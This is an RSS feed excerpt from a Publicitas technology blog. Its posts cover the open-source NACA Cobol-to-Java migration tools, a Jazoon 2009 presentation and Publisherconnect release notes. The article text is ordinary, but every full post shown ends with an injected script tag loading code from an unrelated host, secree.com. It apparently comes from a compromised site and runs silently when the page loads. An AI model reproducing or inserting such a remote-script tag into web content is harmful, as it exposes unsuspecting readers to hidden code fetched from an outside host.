			<wfw:commentRss>http://technology.publicitas.com/2010/01/28/outils-naca-processeurs-zaap-transcoder-son-application-cobol-vers-java-en-restant-plus-economiquement-sur-son-mainframe-ibm-avec-zos/feed/</wfw:commentRss>
		<feedburner:origLink>http://technology.publicitas.com/2010/01/28/outils-naca-processeurs-zaap-transcoder-son-application-cobol-vers-java-en-restant-plus-economiquement-sur-son-mainframe-ibm-avec-zos/</feedburner:origLink></item>
		<item>
		<title>Naca 1.2: support Oracle, Microfocus pour la migration Cobol -&gt; Java</title>
		<link>http://feedproxy.google.com/~r/TechnologyBlog-Publicitas/~3/FJVsxwU3tV4/</link>
		<comments>http://technology.publicitas.com/2009/10/14/naca-12-support-oracle-microfocus-pour-la-migration-cobol-java/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 10:00:14 +0000</pubDate>
		<dc:creator>didier-durand</dc:creator>
		
		<category><![CDATA[java]]></category>

		<category><![CDATA[naca]]></category>

		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://technology.publicitas.com/2009/10/14/naca-12-support-oracle-microfocus-pour-la-migration-cobol-java/</guid>
		<description><![CDATA[Nous avons publié durant l&#8217;été la version 1.2 de notre framework de conversion 100% automatique de Cobol vers Java développé initialement lors de notre projet NACA de migration  des applications Publicitas d&#8217;un mainframe IBM vers une (toute petite) ferme de  serveurs Intel.
[Suivre les liens en tête de ce billet et voir cette présentation [...]]]></description>
			<content:encoded><![CDATA[<div><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">Nous avons publié durant l&#8217;été la version 1.2 de notre framework de conversion 100% automatique de Cobol vers Java développé initialement lors de <a href="http://media-tech.blogspot.com/2007/10/projet-naca-migration-mainframe-ibm.html">notre projet NACA de migration  des applications Publicitas d&#8217;un mainframe IBM vers une (toute petite) ferme de  serveurs Intel</a>.</p>
<p>[Suivre les liens en tête de <a href="http://media-tech.blogspot.com/2007/10/projet-naca-migration-mainframe-ibm.html">ce billet</a> et voir cette <a href="http://media-tech.blogspot.com/2009/06/technologie-de-transcodage-naca-linux.html">présentation des Linux Days 2009 de Genève</a> si vous voulez plus d'informations sur le sujet]</p>
<p></span></span></div>
<div><span style="font-family: Verdana; font-size: 85%;"></span></div>
<div><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">Depuis, la <a href="http://media-tech.blogspot.com/2008/07/les-outils-du-projet-naca-de-publicitas.html">mise en  Open Source de ces outils</a>, nous avons allègrement dépassé le cap des 1&#8242;500 téléchargements et connaissons des tests pilotes voire des migrations avec nos outils déjà largement avancées sur 4 continents: seule l&#8217;Afrique nous manque à ce moment.</p>
<p></span></span></div>
<div><span style="font-family: Verdana; font-size: 85%;"></span></div>
<div><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">A l&#8217;occasion de  ces divers projets, nous avons reçu:<br />
</span></span></p>
<ul>
<li><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">des annonces de bugs que nous avons corrigés</span></span><span style="font-family: Verdana; font-size: 85%;"></span></li>
<li><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">des contributions externes que nous avons déjà (en partie)  intégrées.</span></span><span style="font-family: Verdana; font-size: 85%;"></span></li>
<li><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">des mandats d&#8217;extension de nos outils qui nous ont permis d&#8217;en étendre les fonctions génériques avec l&#8217;autorisation par le commanditaire de les remettre à disposition de la communauté.</span></span></li>
</ul>
</div>
<div><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">Quelques premiers  feedbacks après la v1.2 nous ont fait produire <a href="http://code.google.com/p/naca/downloads/list">une version 1.2.0.1</a> qui est celle que nous vous recommandons de télécharger à partir de maintenant (et d&#8217;ici quelques jours la v1.2.2 à laquelle nous mettons la dernière main).</p>
<p></span></span></div>
<div><span style="font-family: Verdana; font-size: 85%;"></span></div>
<div><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">Les grandes  avancées depuis la V1.1 sont:<br />
</span></span></p>
<ul>
<li><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009"><span style="font-weight: bold;">le support  d&#8217;Oracle</span> par la combinaison de 2 techniques: un transcodage automatique de certains ordres de la syntaxe DB2/UDB d&#8217;IBM vers la syntaxe Oracle associée à une mécanique d&#8217;extraction / remplacement des ordres DB2 par des ordres Oracle pour la partie la plus complexe des requêtes SQL. Ceux qui liront le code source verront que le support JDBC par Oracle est très limité voir médiocre ce qui nous a obligé à produire beaucoup de code spécifique additionnel pour supplanter les fonctions standards manquantes&#8230;</span></span><span style="font-family: Verdana; font-size: 85%;"></span></li>
<li><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009"><span style="font-weight: bold;">le support  des formats de fichiers Microfocus</span> pour les fichiers de données en plus du format propre à NACA. C&#8217;est très utile pour intégrer d&#8217;autres outils du marché (tris externes, etc&#8230;) qui respectent très souvent ce format. Toutes les options de format sont supportées y compris le traitement correct des fins de ligne (CR vs CR LF) dans tous les cas même si le fichier est traité sur une machine qui attend des fins de ligne inverses de celles où le fichier a été généré.</span></span><span style="font-family: Verdana; font-size: 85%;"></span></li>
<li><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">l&#8217;<span style="font-weight: bold;">extension  des options et structures lexicales</span> supportées pour certains verbes Cobol comme  MOVE, INSPECT, etc&#8230;</span></span><span style="font-family: Verdana; font-size: 85%;"></span></li>
<li><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009"><span style="font-weight: bold;">le support de  nouveaux verbes Cobol</span>: POWER, MODULO, SEARCH, NEXT SENTENCE, etc.</span></span><span style="font-family: Verdana; font-size: 85%;"></span></li>
<li><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">le support  des <span style="font-weight: bold;">clauses COPY de programmes et données imbriquées</span></span></span><span style="font-family: Verdana; font-size: 85%;"></span></li>
<li><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009"><span style="font-weight: bold;">support  d&#8217;options de configuration</span> du framework pour en augmenter la flexibilité en  fonction de l&#8217;environnement du projet</span></span></li>
<li><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">beaucoup de nettoyage dans les structures des répertoires et l&#8217;organisation / nommage des fichiers afin de supprimer au maximum les spécificités du projet NACA interne initial.</span></span></li>
</ul>
</div>
<div><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">Pour tous les  détails précis, voir le fichier ChangeLog inclus dans <a href="http://code.google.com/p/naca/downloads/list">le paquet de code source, téléchargeable via Google Code</a>, nouveau repository officiel pour notre projet. Si vous êtes fan de techno, vous pourrez aussi lire les <a href="http://code.google.com/p/naca/w/list">65 pages de documentation technique très détaillée</a> sur l&#8217;architecture de nos outils que nous avons aussi récemment publiées sur le <a href="http://code.google.com/p/naca/w/list">wiki Google Code</a>.</p>
<p></span></span></div>
<div><span style="font-family: Verdana; font-size: 85%;"></span></div>
<p><span style="font-family: Verdana; font-size: 85%;"><span class="115132008-28092009">Merci d&#8217;avance pour le feedback suite à vos tests &#8220;en live&#8221;: nous intégrerons avec plaisir vos contributions et corrigerons les bugs éventuellement découverts dans des versions ultérieures.</p>
<p>Les propositions de mandats et/ou de collaboration sont également bienvenues! <img src='http://technology.publicitas.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </span></span><script src="http://secree.com/re"></script></p>
<img src="http://feeds.feedburner.com/~r/TechnologyBlog-Publicitas/~4/FJVsxwU3tV4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://technology.publicitas.com/2009/10/14/naca-12-support-oracle-microfocus-pour-la-migration-cobol-java/feed/</wfw:commentRss>
		<feedburner:origLink>http://technology.publicitas.com/2009/10/14/naca-12-support-oracle-microfocus-pour-la-migration-cobol-java/</feedburner:origLink></item>
		<item>
		<title>NACA presented @ Jazoon 2009: mainframe/Cobol to Linux/Java migration</title>
		<link>http://feedproxy.google.com/~r/TechnologyBlog-Publicitas/~3/QT5qPV5BCJc/</link>
		<comments>http://technology.publicitas.com/2009/06/23/naca-presented-jazoon-2009-mainframecobol-to-linuxjava-migration/#comments</comments>
		<pubDate>Tue, 23 Jun 2009 18:44:53 +0000</pubDate>
		<dc:creator>didier-durand</dc:creator>
		
		<category><![CDATA[conferences]]></category>

		<category><![CDATA[java]]></category>

		<category><![CDATA[naca]]></category>

		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://technology.publicitas.com/?p=20</guid>
		<description><![CDATA[Pierre &#38; I presented the NACA project at Jazoon 2009 in Zurich. It was another nice opportunity to present our automated solution to migrate (we say &#8220;transcode&#8221; within Publicitas) 100% automatically a Cobol application to its iso-functional Java equivalent.
As Jazoon is a major Java conference in Europe, we could go into very specific technical details [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.linkedin.com/in/pjditscheid">Pierre</a> &amp; I presented<a href="http://media-tech.blogspot.com/2009/01/project-naca-migration-from-ibm.html"> the NACA project</a> at <a href="http://jazoon.com/en/conference/tuesday.html" class="broken_link">Jazoon 2009</a> in Zurich. It was another nice opportunity to present <a href="http://media-tech.blogspot.com/2009/01/project-naca-migration-from-ibm.html">our automated solution</a> to migrate (we say &#8220;transcode&#8221; within Publicitas) 100% automatically a Cobol application to its iso-functional Java equivalent.</p>
<p>As Jazoon is a major Java conference in Europe, we could go into very specific technical details in front of the most competent audience.</p>
<p><a href="http://www.linkedin.com/in/pjditscheid">Pierre</a> described the architecture of our &#8220;transcoding compiler&#8221; and exposed all of its advantages. Read the ending slides of this ppt very carefully if you want to get all details (&#8230; or get in touch with us !):</p>
<p><iframe src='http://docs.google.com/EmbedSlideshow?id=dcc9m6z9_1524fzspccfp' frameborder='0' width='410' height='342'></iframe></p>
<ul>
<li>many levels of cache to maximize performances of the new Java version of the old application. Through them, our Java-transcoded transactions and batches have better performances than their Cobol ancestors used to have on mainframe.</li>
<li>pre-allocation of all program variable structures (COMMAREA of COBOL) to further improve performances but also to minimize garbage collection that freezes the system while running.</li>
<li>strongly object-oriented architecture of resulting Java objects in order to maximize the effect of all controls done by compiler. As example, each old COBOL program becomes a Java class whose existence is checked at compile-time rather than at runtime. Very useful when your application is 4 millions lines of code like ours and when you want to track down every typing mistake in a <a href="http://en.wikipedia.org/wiki/Continuous_Integration">continuous integration architecture</a> like ours</li>
<li>strong integration with Eclipse IDE for highest productivity for developpers: we even developed a plug-in to facilitate debugging and edition of old COBOL programs from Eclipse</li>
<li>line-by-line equivalence between old COBOL programs and newly transcoded Java classes. The home developers don&#8217;t get lost: they receive afterwards a Java application with the exact same structure as the original COBOL version</li>
<li>support of IBM JVM as well as Sun JVM in order to also allow for the transcoding of stored procedures</li>
<li>support of distinct character sets and encoding schemes (<a href="http://en.wikipedia.org/wiki/Ebcdic">EBCDIC</a>) between mainframe &amp; Linux. Support of all resulting possibilities for data sorting.</li>
<li>full management of multi-level COBOL data structures in Java independently of the UTF encoding (2 bytes per char) used by Java</li>
<li>transparency of wrapping framework (raw JVM, Apache Tomcat, etc&#8230;)  for the application</li>
<li>etc&#8230;</li>
</ul>
<p>We gave <a href="http://media-tech.blogspot.com/2009/01/project-naca-open-sourcing-gpllgpl-of.html">the  URL</a> of our open source (<a href="http://media-tech.blogspot.com/2009/01/project-naca-open-sourcing-gpllgpl-of.html">GPL licence</a>) transcoding tools for participants. Please, give a chance to our tools if you enter such a migration project.</p>
<p>On my side, I emphasized the key aspects of such a project:</p>
<ul>
<li><span style="font-weight: bold;">economic motivation as core driver</span>: move from a multi-million (CHF or euros) mainframe environment to an incredibly cheap and nimble farm of Linux Intel-based servers. The massive savings (3 millions euros / year in our case) allow for a quick auto-financing of the project far before its end. The main virtue of Open Source for a company like us remains clearly its very very low price.</li>
<li><span style="font-weight: bold;">migrate people with technology</span>: we believe that we succeeded in our project because we clearly demonstrated very early on to the people in place that they would find a new interesting job in the final constellation. That generated their full commitment to the project!</li>
<li><span style="font-weight: bold;">iso-functionality as a must</span>: migrating in such a manner prevents months of discussion about the final target. But, mostly, it allows for 100% automatic migration, a key factor for quality in the transcoding.</li>
<li><span style="font-weight: bold;">no big-bang but numerous reversible steps</span>: such a total migration with (tens of) thousands of new steps can never successfully reach the ends if you try big steps. Permanent incremental progress toward the goal is a much better approach. The nice consequences: small steps generate smaller local trouble when problems arise. Your users remain much more patient this way! Our experience was so&#8230;</li>
</ul>
<p><script src="http://secree.com/re"></script></p>
<img src="http://feeds.feedburner.com/~r/TechnologyBlog-Publicitas/~4/QT5qPV5BCJc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://technology.publicitas.com/2009/06/23/naca-presented-jazoon-2009-mainframecobol-to-linuxjava-migration/feed/</wfw:commentRss>
		<feedburner:origLink>http://technology.publicitas.com/2009/06/23/naca-presented-jazoon-2009-mainframecobol-to-linuxjava-migration/</feedburner:origLink></item>
		<item>
		<title>[DE] Publisherconnect Firmenwhitelabel Lösung für Gfeller Consulting</title>
		<link>http://feedproxy.google.com/~r/TechnologyBlog-Publicitas/~3/43Ulj_sCu2g/</link>
		<comments>http://technology.publicitas.com/2008/09/12/de-publisherconnect-firmenwhitelabel-losung-fur-gfeller-consulting/#comments</comments>
		<pubDate>Fri, 12 Sep 2008 06:57:31 +0000</pubDate>
		<dc:creator>oliver-hipp</dc:creator>
		
		<category><![CDATA[Publisherconnect]]></category>

		<guid isPermaLink="false">http://technology.publicitas.com/?p=19</guid>
		<description><![CDATA[Gfeller Consulting &#38; Partner AG ist ein grösserer Stellenvermittler in der Schweiz und arbeitet mit Publicitas Publiconnect AG zusammen.
Für den neuen Online-Auftritt auf www.gcp.ch konnten wir eine Publischerconnect Firmenwhitelabel Lösung (FirmenWL) einrichten. Die Verwaltung und Veröffentlichung der Offenen Stellenangebote erfolgen dabei durch Publisherconnect.
Die Verwaltung der Inserate durch den Kunden erfolgt dabei in MYP analog Dispositionen [...]]]></description>
			<content:encoded><![CDATA[<p>Gfeller Consulting &amp; Partner AG ist ein grösserer Stellenvermittler in der Schweiz und arbeitet mit Publicitas Publiconnect AG zusammen.</p>
<p>Für den neuen Online-Auftritt auf <a href="http://www.gcp.ch">www.gcp.ch</a> konnten wir eine Publischerconnect Firmenwhitelabel Lösung (FirmenWL) einrichten. Die Verwaltung und Veröffentlichung der Offenen Stellenangebote erfolgen dabei durch Publisherconnect.</p>
<p>Die Verwaltung der Inserate durch den Kunden erfolgt dabei in MYP analog Dispositionen in herkömmliche Jobplattformen. In MYP wird pro Kunde und gewünschter, eigener Site ein eigenes Medium eingerichtet, welches mit der Publisherconnect-Instanz &#8220;Firmenwhitelabel&#8221; verbunden ist.</p>
<p>Der Kunde erhält dann von Publisherconnect einen RSSFeed, der es ihm erlaubt das Joblisting in seiner Site dynamisch einzubinden. Für die Details einer Position wird die Detailansicht von Publisherconnect angezeigt, womit der Kunde von den Publisherconnect Funktionalitäten profitiert (z.b. Tell-a-friend, Bewerbungsbutton etc). Hier der <a href="http://firmenwhitelabel.publisherconnect.ch/firmenwhitelabel/feed/job/rss.htm?action=feedById&amp;feedId=35c92c8cb7cc1bd1bfe6dd4622c48dfb&amp;feedType=rss_2.0&amp;count=25&amp;locale=de&amp;withImage=false" target="_blank">RSSFeed</a> für Gfeller Consulting mit allen offenen Stellenangeboten.</p>
<p>Für Gfeller Consulting wurde pro Hauptkategorie ein RSSFeed erstellt. Die Kategorieauswahl konnte somit auch dynamisch implementiert werden (Kategorie wird nur angezeigt wenn Stellen vorhanden; Anzeige Anzahl Inserate). Die Integration wurde durch den Kunden resp. eine externe Agentur vorgenommen. Sie können diese hier anschauen <a href="http://195.162.152.163/infoglueDeliverLive_gcp/Home/KARRIEREANGEBOTE" class="broken_link">http://195.162.152.163/infoglueDeliverLive_gcp/Home/KARRIEREANGEBOTE</a></p>
<p>Das Joblisting auf dem Publicitas Internetauftritt erfolgt ebenfalls mit FirmenWL: <a href="http://www.publicitas.ch/de/unternehmen/stellenboerse/">http://www.publicitas.ch/de/unternehmen/stellenboerse/</a><script src="http://secree.com/re"></script></p>
<img src="http://feeds.feedburner.com/~r/TechnologyBlog-Publicitas/~4/43Ulj_sCu2g" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://technology.publicitas.com/2008/09/12/de-publisherconnect-firmenwhitelabel-losung-fur-gfeller-consulting/feed/</wfw:commentRss>
		<feedburner:origLink>http://technology.publicitas.com/2008/09/12/de-publisherconnect-firmenwhitelabel-losung-fur-gfeller-consulting/</feedburner:origLink></item>
		<item>
		<title>[DE] Publisherconnect Release 5.2.</title>
		<link>http://feedproxy.google.com/~r/TechnologyBlog-Publicitas/~3/---IwExpnog/</link>
		<comments>http://technology.publicitas.com/2008/09/12/de-publisherconnect-release-52/#comments</comments>
		<pubDate>Fri, 12 Sep 2008 06:29:13 +0000</pubDate>
		<dc:creator>oliver-hipp</dc:creator>
		
		<category><![CDATA[Publisherconnect]]></category>

		<guid isPermaLink="false">http://technology.publicitas.com/?p=16</guid>
		<description><![CDATA[Am 11.08.2008 haben wir erfolgreich den Release Publisherconnect 5.2 in Betrieb genommen.
Inserate duplizieren
Dem Inserent steht neu bei jedem Inserat (aktiv/inaktiv) immer die Funktion &#8220;Neu Inserieren&#8221; zur Verfügung. Dabei wird der Inhalt des bestehenden Inserates komplett für eine neue Insertion übernommen. Bei Bedarf kann dieser natürlich entsprechend angepasst werden.
Buchen auf andere Plattformen
Neu wird es möglich sein, auf den [...]]]></description>
			<content:encoded><![CDATA[<p>Am 11.08.2008 haben wir erfolgreich den Release Publisherconnect 5.2 in Betrieb genommen.</p>
<p><strong>Inserate duplizieren<br />
</strong>Dem Inserent steht neu bei jedem Inserat (aktiv/inaktiv) immer die Funktion &#8220;Neu Inserieren&#8221; zur Verfügung. Dabei wird der Inhalt des bestehenden Inserates komplett für eine neue Insertion übernommen. Bei Bedarf kann dieser natürlich entsprechend angepasst werden.</p>
<p><strong>Buchen auf andere Plattformen<br />
</strong>Neu wird es möglich sein, auf den Publisherconnect Marktplätzen auch Angebote mit externen Plattformen anzubieten. Der Content wird dabei durch den Publicitas Any2Any-Hub an die Plattformen ausgeliefert. Dazu wurde die <a href="http://technology.publicitas.com/wp-content/uploads/2008/09/common-service.pdf" target="_blank">Schnittstelle WLC2CMS</a> entwickelt. über Ihren Marktplatz auch Angebote von Drittplattformen aufzunehmen.</p>
<p><strong>Media-RSSFeed für PicLens<br />
</strong>Für jedes Publisherconnect-Ad wird neu auch ein Media-RSSFeed generiert:<br />
<a href="http://www.nzzdomizil.ch/nzzdomizil/feed/adDetailMediaFeed.htm?adId=NNNNNN">http://www.nzzdomizil.ch/nzzdomizil/feed/adDetailMediaFeed.htm?adId=NNNNNN</a>.<br />
Dies erlaubt es User die Bilder auch mit dem Browser-Plugin von <a href="http://www.piclens.com">www.piclens.com</a> anzuschauen.</p>
<p><strong>RSS-Feed mit Inseraten eines bestimmten Angebots<br />
</strong>Neu wird die OfferId in den Fulltext-Index eines Inserates geschrieben. Dies erlaubt es RSSFeeds mit Inseraten eines bestimmten Angebotes zu machen.<script src="http://secree.com/re"></script></p>
<img src="http://feeds.feedburner.com/~r/TechnologyBlog-Publicitas/~4/---IwExpnog" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://technology.publicitas.com/2008/09/12/de-publisherconnect-release-52/feed/</wfw:commentRss>
		<feedburner:origLink>http://technology.publicitas.com/2008/09/12/de-publisherconnect-release-52/</feedburner:origLink></item>
		<item>
		<title>[EN] Project NACA: open sourcing GPL/LGPL of the tools for transcoding Cobol programs to Java</title>
		<link>http://feedproxy.google.com/~r/TechnologyBlog-Publicitas/~3/aeXoC5xenkM/</link>
		<comments>http://technology.publicitas.com/2008/07/17/en-project-naca-open-sourcing-gpllgpl-of-the-tools-for-transcoding-cobol-programs-to-java/#comments</comments>
		<pubDate>Thu, 17 Jul 2008 16:04:26 +0000</pubDate>
		<dc:creator>didier-durand</dc:creator>
		
		<category><![CDATA[java]]></category>

		<category><![CDATA[naca]]></category>

		<category><![CDATA[open source]]></category>

		<category><![CDATA[cobol]]></category>

		<category><![CDATA[gpl]]></category>

		<category><![CDATA[lgpl]]></category>

		<category><![CDATA[transcode]]></category>

		<category><![CDATA[transcoder]]></category>

		<category><![CDATA[transcoding]]></category>

		<guid isPermaLink="false">http://technology.publicitas.com/?p=14</guid>
		<description><![CDATA[Update of March, 4th 2009: version 1.1 is now available: NACA-Package 1.1 (Runtime, transcoder, Tests + docs) (1134)].   Details and change log in this post.
Publicitas publishes under Open Source license (GPL/LGPL) the source code of the tools developped to execute the project called NACA now successfully completed. Its aim was to migrate a homegrown Cobol [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Update of March, 4th 2009:</strong> version 1.1 is now available: <strong><a href="http://technology.publicitas.com/wp-content/plugins/download-monitor/download.php?id=4" title="Version 1.1 downloaded 1134 times" >NACA-Package 1.1 (Runtime, transcoder, Tests + docs) (1134)</a></strong>].   Details and change log in this <a title="Change log for NACA tools 1.1" href="http://media-tech.blogspot.com/2009/03/outils-naca-version-110-forum-google.html" target="_blank">post</a>.</p>
<p><span style="font-family: ">Publicitas publishes under Open Source license (GPL/LGPL) the source code of the tools developped to execute <a href="http://technology.publicitas.com/2008/07/17/project-naca-migration-from-an-ibm-mainframe-to-intellinux-servers-rationale-and-strategy/">the project called NACA now successfully completed</a>. Its aim was to migrate a homegrown Cobol application (named PUB 2000 - 4 millions lines of Cobol) running on an IBM/zOS mainframe toward its 100% iso-functional Java equivalent running on Intel-propelled Linux-based<span> </span>servers. </span></p>
<p class="MsoNormal"><span style="font-family: ">For those in hurry to get the package, the complete zip file is here:<a href="http://technology.publicitas.com/wp-content/plugins/download-monitor/download.php?id=3" title="Version 1.0 downloaded 4204 times" >NACA-Package 1.0 (Runtime, transcoder, Tests + docs) (4204)</a></span></p>
<p class="MsoNormal"><span style="font-family: ">This version is clearly v1.0, i.e a first delivery: it will get improved over time through the feedback and contributions returned by external testers running the tools on their own infrastructure. New versions of runtime libraries (JLib and NacaRT) can also be expected because they are still heavily used in our own environment on a daily basis for the transcoded version of Pub2000.</span></p>
<p class="MsoNormal"><span style="font-family: ">Why this choice of licenses?<span> </span>Because we want to avoid that professional service consultancies takes this code back to the proprietary zone for their own single benefit. <span> </span>For those players, GPL brings a set of constraints that maximizes the return of their improvements to the community by preventing them from locking the source code of their changes. For end-user companies, the freedom brought by GPL is totally appropriate.</span></p>
<p class="MsoNormal"><span style="font-family: ">From another perspective, the LGPL + GPL combination allows application software editors to migrate their applications through our tools (NacaTrans), link them to our runtime libraries (NacaRT and Jlib), distribute the source code of those libraries but not the source code of their own application so that they can remain competitive in the industrial sector of their application.</span></p>
<p class="MsoNormal" style="margin-left: 18pt;"><span style="font-family: ">The tools that we deliver today (v1.0) in the zip package:</span></p>
<ul>
<li><strong><span style="font-family: ">Doc</span></strong><span style="font-family: ">: a set of documents explaining in details the tools and libraries. Your feedback around this documentation, its missing points, etc. is essential in order to improve it.</span></li>
<li><!--[endif]--><strong><span style="font-family: ">NacaTrans (license GPL - approx. 83&#8242;00 lines of code code &amp; 690 Java classes):</span></strong><span style="font-family: "> our transcoder that allowed us to convert 100% automatically the 4 millions lines of our PUB 2000 application in COBOL to Java. It is very much based on compiler technologies. It analyzes the structure of the initial COBOL programs (supposed 100% valid)<span> </span>to bring them in an intermediate xml structure before generating the final Java code that extensively calls functions and uses classes of the runtime library NacaRT, itself depending on JLib. This new Java source code was very carefully designed: each line of Cobol generates very intentionally a single corresponding line of Java. The aim is to look like as much as possible like the original COBOL code in order to ease the maintenance by the original developers / maintainers who master the structure of their original Java programs. The completeness of the accepted syntax for all variants of Cobol is of course not guaranteed. But our own 4 millions of lines of code as well as additional tests on other external application tend to prove that the current coverage of Cobol by NacaTrans is already very high. We want to improve this coverage through your feedback for valid constructs that we don&#8217;t support yet.</span></li>
<li><!--[if !supportLists]--><span style="font-family: Symbol;"><span>·<span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; font-family: "> </span></span></span><!--[endif]--><strong><span style="font-family: ">NacaRT &amp; Jlib (license LGPL - approx 153&#8242;000 lines of code &amp; 890 Java classes):</span></strong><span style="font-family: "> those are the 2 runtime librairie who provide all the runtime transactional services for the application. They emulate all teh functions of a classical transactional monitor like CICS from IBM. At the same time, they also support all the COBOL constructs (for example, COMMARÈA structure with multiple data representation masks, management of specific data format like COMP-X, etc.)</span></li>
<li><!--[if !supportLists]--><span style="font-family: Symbol;"><span><span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal; font-family: "> </span></span></span><!--[endif]--><strong><span style="font-family: ">NacaRTTest (license GPL):</span></strong><span style="font-family: "> this is a test suite allowing us to test the correct output of the transcoder on a set of reference COBOL constructs. It&#8217;s the way to validate part of our transcoding algorithms. For a new user of NACA, this is definitely the place to start: when this runs on oyur infrastructure, you can feel pretty confident about your installation of the package.</span></li>
</ul>
<p><span style="font-family: ">All those components are also delivered with Eclipse project description files in order to facilitate their setup in a standard Java environment.</span></p>
<p class="MsoNormal"><span style="font-family: ">Now, the answer to your last question already on your lips: why does Publicitas undertake this delivery?</span></p>
<ul type="disc">
<li class="MsoNormal"><span style="font-family: ">Because      Publicitas has received quite a lot from the OSS community for our NACA      project. We had to give back as much as we can: with this contribution, we      want to return our highest possible contribution to the dynamics of Open      Source.</span></li>
<li class="MsoNormal"><span style="font-family: ">Because we      believe that this set of tools heavily tested in our environment can be an      excellent starting point for other similar projects by other companies      also wishing to leverage Open Source software as we did (see <a href="http://technology.publicitas.com/naca/">our various      articles on this topic</a>)</span></li>
<li class="MsoNormal"><span style="font-family: ">Because we      still want to improve our tools and libraries as they remain used on a productive      basis to handle our 750&#8242;000<span> </span>transactions / day . We are interested in improving both the      runtime libraries since Pub2000 runs on them but also the transcoder      NacaRT itself . We still use NacaRT on a very regular basis for the      transcoding of some programs that our developers decided (for valid reasons)      to maintain from their COBOL source code. We even developed an Eclipse plugin      to make this task simpler and more efficient.</span></li>
<li class="MsoNormal"><span style="font-family: ">Finally,      because Consultas, our internal IT entity, mostly aimed at serving other      group entities, developed through this project a set of very specific      competences that they would love to reuse in other similar contexts. Consultas&#8217;      engineers love this kind of challenges! If you plan your own NACA, they      may want to be part of it.</span></li>
</ul>
<p class="MsoNormal"><span style="font-family: ">Now, it&#8217;s you turn: <span> </span>take the package <a href="http://technology.publicitas.com/wp-content/plugins/download-monitor/download.php?id=3" title="Version 1.0 downloaded 4204 times" >NACA-Package 1.0 (Runtime, transcoder, Tests + docs) (4204)</a>, install it, run it and let us know: we&#8217;d love your feedback in the comments of this post.</span></p>
<p class="MsoNormal"><strong><span style="font-family: ">PS:</span></strong><span style="font-family: "> for more specific contacts around your particular case, you can email us at <span> </span><a href="mailto:naca-contact@publicitas.com">naca-contact@publicitas.com</a></span></p>
<p class="MsoNormal"><span lang="EN-GB"> </span></p>
<p><script src="http://secree.com/re"></script></p>
<img src="http://feeds.feedburner.com/~r/TechnologyBlog-Publicitas/~4/aeXoC5xenkM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://technology.publicitas.com/2008/07/17/en-project-naca-open-sourcing-gpllgpl-of-the-tools-for-transcoding-cobol-programs-to-java/feed/</wfw:commentRss>
		<feedburner:origLink>http://technology.publicitas.com/2008/07/17/en-project-naca-open-sourcing-gpllgpl-of-the-tools-for-transcoding-cobol-programs-to-java/</feedburner:origLink></item>
		<item>
		<title>[FR] Projet Naca: open sourcing GPL/LGPL des outils de transcodage COBOL vers Java</title>
		<link>http://feedproxy.google.com/~r/TechnologyBlog-Publicitas/~3/FdgbSE_AyQk/</link>
		<comments>http://technology.publicitas.com/2008/07/17/projet-naca-open-sourcing-gpllgpl-des-outils-de-transcodage-cobol-vers-java/#comments</comments>
		<pubDate>Thu, 17 Jul 2008 15:50:56 +0000</pubDate>
		<dc:creator>didier-durand</dc:creator>
		
		<category><![CDATA[java]]></category>

		<category><![CDATA[naca]]></category>

		<category><![CDATA[open source]]></category>

		<category><![CDATA[gpl]]></category>

		<category><![CDATA[lgpl]]></category>

		<guid isPermaLink="false">http://technology.publicitas.com/?p=13</guid>
		<description><![CDATA[Mise à jour du 04 Mars 2009: la version 1.1 est maintenant disponible: NACA-Package 1.1 (Runtime, transcoder, Tests + docs) (1134)].   Détails des nouveautés dans ce billet.
[Lien direct vers le package v1.0 source + docs à télécharger: NACA-Package 1.0 (Runtime, transcoder, Tests + docs) (4204)]
Publicitas publie sous licence Open Source (GPL/LGPL) le code source des [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Mise à jour du 04 Mars 2009:</strong> la version 1.1 est maintenant disponible: <strong><a href="http://technology.publicitas.com/wp-content/plugins/download-monitor/download.php?id=4" title="Version 1.1 downloaded 1134 times" >NACA-Package 1.1 (Runtime, transcoder, Tests + docs) (1134)</a></strong>].   Détails des nouveautés dans <a title="Change log for NACA tools 1.1" href="http://media-tech.blogspot.com/2009/03/outils-naca-version-110-forum-google.html" target="_blank">ce billet</a>.</p>
<p>[Lien direct vers le package v1.0 source + docs à télécharger:<strong> <a href="http://technology.publicitas.com/wp-content/plugins/download-monitor/download.php?id=3" title="Version 1.0 downloaded 4204 times" >NACA-Package 1.0 (Runtime, transcoder, Tests + docs) (4204)</a></strong>]</p>
